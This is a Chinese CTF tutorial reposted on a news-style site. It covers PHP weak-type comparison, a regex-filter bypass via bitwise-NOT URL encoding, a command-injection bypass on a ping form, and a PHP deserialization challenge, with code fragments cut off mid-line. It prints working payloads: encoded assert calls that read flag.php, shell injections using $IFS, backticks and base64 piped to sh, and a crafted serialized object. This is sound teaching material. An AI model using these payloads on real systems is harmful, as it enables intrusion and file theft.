数据来源 文章参考 本课重点: 案例1:PHP-相关总结知识点-后期复现案例2:php-弱类型对比绕过测试-常考点案例3:PHP-正则preg_match绕过-常考点案例4:PHP-命令执行RCE变异绕过-常考点案例5:PHP-反序列化考
相关PHP所有总结知识点参考:
https://www.cnblogs.com/iloveacm/cateGory/1791836.html
ctf变量
php的弱类型比较问题
php断言(
assert
)
php读取目录下文件的方法
preg_match绕过
PHP中sha1()函数和md5()
异或注入
updatexml()函数报错注入
源文件泄露利用
extract变量覆盖
strcmp()漏洞
md5()漏洞
ereg()截断漏洞
弱类型整数大小比较绕过
命令执行
弱类型绕过对比总结:
Https://www.cnblogs.com/Mrsm1th/p/6745532.html
=== 在进行比较的时候,会先判断两种字符串的类型是否相等,再比较
== 在进行比较的时候,会先将字符串类型转化成相同,再比较
$num=$_GET['num'];
if(!is_numeric($num))
{
echo $num;
if($num==1)
echo 'flag{**********}';
}
代码解析
$num=$_GET['num'];
// 接收get请求的num参数的值if(!is_numeric($num))
// is_numeric — 检测变量是否为数字或数字字符串,是则返回True // 注意这里前面有个 ! 表示非,意思是如果是true那就反转为false,反之如果是false就会变成true,也就是说这里需要数据不是纯数字才能通过判断{
echo $num;
// echo — 输出一个或多个字符串if($num==1)
// 判断num是否等于1 注意这里是两个 =echo 'flag{**********}';
// 符合条件就打印 'flag{**********}' }
在线的靶场:https://ctf.bugku.com/challenges/index/gid/1/tid/1.html?keyWord=%E7%9F%9B%E7%9B%BE
或这里使用phpStudy在本地部署文件
127.0.0.1/get/index.php
传参1x,得到flag (参数不是纯数字就行)
也可以添加换行符:1%0a
ions()['internal']; foreach ($blacklist as $blackitem) { if (preg_match ('/' . $blackitem . '/im', $code)) { die('You deserve better'); } } assert($code);}
代码解析
正则表达式 if (preg_match('/(f|l|a|g|\.|p|h|\/|;|\"|\'|\`|\||\[|\]|\_|=)/i',$code)) { die('You are too good for me'); // die — 等同于 exit(),exit — 输出一个消息并且退出当前脚本 } $blacklist = get_defined_functions()['internal']; // get_defined_functions — 返回所有已定义函数的数组(就是php常用函数/内置函数)。包括内置(internal) 和用户定义的函数 foreach ($blacklist as $blackitem) { if (preg_match ('/' . $blackitem . '/im', $code)) { die('You deserve better'); } } assert($code); // assert — 检查一个断言是否为 FALSE(这是官方的解释),assert()函数还有个作用就是直接将传入的参数当成PHP代码执行·不需要以分号结尾}
第一步绕过思路:取反绕过(把getFlag取反然后URL编码:)
例如对:"getFlag"进行取反
// print_r() 打印变量// scandir() 列出指定路径中的文件和目录 , '.' 表示当前目录print_r(scandir('.'))
但是前面讲了源代码对函数做了过滤,所以这里我们要把每个函数与函数的参数拆分开来,然后进行取反再进行url编码绕过
拆分成:print_r 、scandir、.
实现方式跟上面一样,先使用在线的php编译工具取反然后格式化成URL编码,实现代码如下:
编码后的结果:
%8F%8D%96%91%8B%A0%8D%8C%9C%9E%91%9B%96%8D%D1
开始发送url请求获取当前目录下的文件信息,刚才查看源码发现他是get请求参数是code
?code=print_r(scandir('.')) # 根据这个url格式将我们编码后的函数与参数拼接起来进行请求?code=(~%8F%8D%96%91%8B%A0%8D)((~%8C%9C%9E%91%9B%96%8D)((~%D1))) # 使用这个url去发送请求
返回的信息是个数组:Array ( [0] => . [1] => .. [2] => flag.php [3] => index.php ) 表示当前目录下有两个文件 flag.php 与 index.php
实现代码:
highlight_file(flag.php)
拆分成:highlight_file、
flag.php
编码后的结果:
%97%96%98%97%93%96%98%97%8B%A0%99%93%96%9A%99%93%9E%98%D1%8F%97%8F
开始发送url请求读取flag.php
?code=highlight_file(flag.php) # 根据这个url格式将我们编码后的函数与参数拼接起来进行请求 ?code=(~%97%96%98%97%93%96%98%97%8B%A0%99%96%93%9A)((~%99%93%9E%98%D1%8F%97%8F)) # 使用这个url去发送请求
最后复制获取到的flag,到靶场提交,解题成功
命令执行常见绕过:https://www.cnblogs.com/iloveacm/p/13687654.html
靶场地址:https://buuoj.cn/challenges#[GXYCTF2019]Ping Ping Ping
这就相当于我们自己在cmd中手动ping (这就说明这里是可以执行系统命令的)
常用的特殊字符有:|、;、||、&&、&、$
查看当前目录下文件
?ip=127.0.0.1 ; dir # dir 是windows的查看文件目录命令
将空格清除再测试
?ip=127.0.0.1;dir # 这里执行后没有反应,说明服务器不是windows系统
这里换成linux系统命令再执行一次,成功列出文件信息
?ip=127.0.0.1;ls # 使用linux系统的命令测试成功列出当前目录的文件信息
/?ip=127.0.0.1;catflag.php # cat 是linux系统的查看文件内容的命令,因为前面说了靶机过滤了空格这里就不加空格了
发现过滤了字符 flag
https://www.cnblogs.com/iloveacm/p/13687654.html
绕过方式一:变量拼接 ($IFS$数字 -- 相当于空格 $a 是指a 这个变量)
/?ip=127.0.0.1;a=g;cat$IFS$2fla$a.php
但是只有这种绕过方式?我们可以查看靶机源代码(indx.php),分析绕过规则
/?ip=127.0.0.1;a=x;cat$IFS$2inde$a.php # 这里我将a=g 改成a = x
代码解析:
|\'|\"|\\|\(|\)|\[|\]|\{|\}/", $ip, $match)){ echo preg_match("/\&|\/|\?|\*|\<|[\x{00}-\x{20}]|\>|\'|\"|\\|\(|\)|\[|\]|\{|\}/", $ip, $match); die("fxck your symbol!"); // die 输出一个消息并且退出当前脚本 } else if(preg_match("/ /", $ip)){ die("fxck your space!"); } else if(preg_match("/bash/", $ip)){ die("fxck your bash!"); } else if(preg_match("/.*f.*l.*a.*g.*/", $ip)){ die("fxck your flag!"); } $a = shell_exec("ping -c 4 ".$ip); // shell_exec — 通过 shell 环境执行命令,并且将完整的输出以字符串的方式返回 , -c 4 指定ping的次数为4 echo ""; // echo 输出一个或多个字符串 print_r($a); // print_r 打印变量}?>
绕过方式二:内联注释(将反引号命令的结果作为输入来执行命令)
/?ip=127.0.0.1;cat$IFS$2`ls`
绕过方式三:sh
/?ip=127.0.0.1;echo$IFS$2Y2F0IGZsYWcucGhw|base64$IFS$2-d|sh
搜索:AreUSerialz
未对用户输入的序列化字符串进行检测,导致攻击者可以控制反序列化过程,从而导致代码执行、SQL注入、目录遍历等不可控后果。
在反序列化的过程中自动触发了某些魔术方法。当进行反序列化的时候就有可能会触发对象中的一些魔术方法。
触发:unserialize 函数的变量可控,文件中存在可利用的类,类中有魔术方法。
__construct() // 创建对象时触发
__destruct() // 对象被销毁时触发
__call() // 在对象上下文中调用不可访问的方法时触发
__callStatic() // 在静态上下文中调用不可访问的方法时触发
__get() // 用于从不可访问的属性读取数据
__set() // 用于将数据写入不可访问的属性
__isset() // 在不可访问的属性上调用 isset()或 empty()触发
__unset() // 在不可访问的属性上使用 unset()时触发
__invoke() // 当脚本尝试将对象调用为函数时触发
发现Flag位置-反序列化考点-分析代码-构造代码生成Payload
https://www.cnblogs.com/zhengna/p/15661109.html
process(); } public function process() { if($this->op == "1") { $this->write(); } else if($this->op == "2") { $res = $this->read(); $this->output($res); } else { $this->output("Bad Hacker!"); } } private function write() { if(isset($this->filename) && isset($this->content)) { if(strlen((string)$this->content) > 100) { $this->output("Too long!"); die(); } $res = file_put_contents($this->filename, $this->content); if($res) $this->output("Successful!"); else $this->output("Failed!"); } else { $this->output("Failed!"); } } private function read() { $res = ""; if(isset($this->filename)) { $res = file_get_contents($this->filename); } return $res; } private function output($s) { echo "[Result]:
"; echo $s; } function __destruct() { if($this->op === "2") $this->op = "1"; $this->content = ""; $this->process(); }}function is_valid($s) { for($i = 0; $i < strlen($s); $i++) if(!(ord($s[$i]) >= 32 && ord($s[$i]) <= 125)) return false; return true;}if(isset($_GET{'str'})) { $str = (string)$_GET['str']; if(is_valid($str)) { $obj = unserialize($str); }}
代码解析:(我注释写的很详细,就算你没有学过php也能做这个程序的代码审计)
process(); // 调用process方法(也称为类的成员方法) , $this 指当前类,因为在当前方法调用当前类的另一个方法process()时就要加上$this不然程序找不到 } // public 定义公有的方法 public function process() { // 这个process() 方法就是对op进行判断 if($this->op == "1") { // 判断 op=1? 注意这里是两个= ,判断的是值也就是说只要是1就可以了不管你是数字1还是字符1 $this->write(); // 如果符合判断条件,调用write方法,写入文件的方法 } else if($this->op == "2") { // op=2? $res = $this->read(); // 调用read方法,读取文件的方法,方法的返回值是读入到的文件内容 $this->output($res); // 将$res变量中存储的文件内容,输出 output()方法是下面自定义的输出方法 } else { // 否则结束 $this->output("Bad Hacker!"); } } private function write() { // 可忽略,没有意义当 op=1 时才会进入这个函数,我们解题需要op = 2 if(isset($this->filename) && isset($this->content)) { // isset — 检测变量是否已设置并且非 NULL, 存在并且值不是 NULL 则返回 TRUE,否则返回 FALSE if(strlen((string)$this->content) > 100) { // strlen — 获取字符串长度 $this->output("Too long!"); die(); } $res = file_put_contents($this->filename, $this->content); // file_put_contents — 将一个字符串写入文件,该函数将返回写入到文件内数据的字节数,失败时返回FALSE if($res) $this->output("Successful!"); // 判断$res不为空,打印成功的信息 else $this->output("Failed!"); // 否则打印失败信息 } else { $this->output("Failed!"); } } // private 把方法声明为私有的,也就是说只有当前类才能调用 private function read() { // 这个方法就是读取文件的方法 $res = ""; // 先将 $res 变量赋值为空 if(isset($this->filename)) { // 如果filename存在的话,直接获取文件内容 $res = file_get_contents($this->filename); // file_get_contents — 将整个文件读入一个字符串 $this->filename 是$this->$filename 在内存中的存储地址 } return $res; // 将读入到的文件内容返回 } private function output($s) { // 自定义的输出方法 echo "[Result]:
"; // echo — 输出一个或多个字符串 echo $s; // 将方法接收到的数据($s)输出 } function __destruct() { // 当对象进行销毁的时触发 if($this->op === "2") // 这里判断op是否强等于"2"(就是类型与值都要相等),如果等于"2" 可以使用数字2或字符串'2'绕过判断,因为等于1是调用写入方法等于2才是读取文件数据的方法 $this->op = "1"; // op赋值"1" $this->content = ""; $this->process(); // 调用process()方法对op的值进行判断 }}function is_valid($s) { // 循环判断字符串的每一次值,是否在32-125内(可见字符之内的字符串),strlen — 获取字符串长度 for($i = 0; $i < strlen($s); $i++) if(!(ord($s[$i]) >= 32 && ord($s[$i]) <= 125)) // !表示非 ord — 转换字符串第一个字节为 0-255 之间的值 (asiic码) return false; // 不符合条件返回false return true; // 符合条件返回true}if(isset($_GET{'str'})) { // $_GET{'str'}获取通过get请求传过来的str isset — 检测变量是否已设置并且非 NULL $str = (string)$_GET['str']; // 将获取到的get参数str赋值给$str变量 if(is_valid($str)) { // 然后str过一下上面的is_valid方法,看一下是否有非法字符 $obj = unserialize($str); // 如果没有直接unserialize反序列化 }}
前面讲了unserialize() 方法将字符串还原成一个对象 (反序列化),就是相当于创建了对象,当创建了对象后就会触发__construct()方法
代码解析:
代码运行结果:
O:11:"FileHandler":3:{s:2:"op";i:2;s:8:"filename";s:8:"flag.php";s:7:"content";s:2:"xd";}
?str=O:11:"FileHandler":3:{s:2:"op";i:2;s:8:"filename";s:8:"flag.php";s:7:"content";s:2:"xd";}
来源地址:https://blog.csdn.net/weixin_43263566/article/details/129659822
--结束END--
本文标题: p84 CTF夺旗-PHP弱类型&异或取反&序列化&RCE
本文链接: https://lsjlt.com/news/396010.html(转载时请注明来源链接)
有问题或投稿请发送至: 邮箱/279061341@qq.com QQ/279061341
2024-02-29
2024-02-29
2024-02-29
2024-02-29
2024-02-29
2024-02-29
2024-02-29
2024-02-29
2024-02-29
2024-02-29
回答
回答
回答
回答
回答
回答
回答
回答
回答
回答
0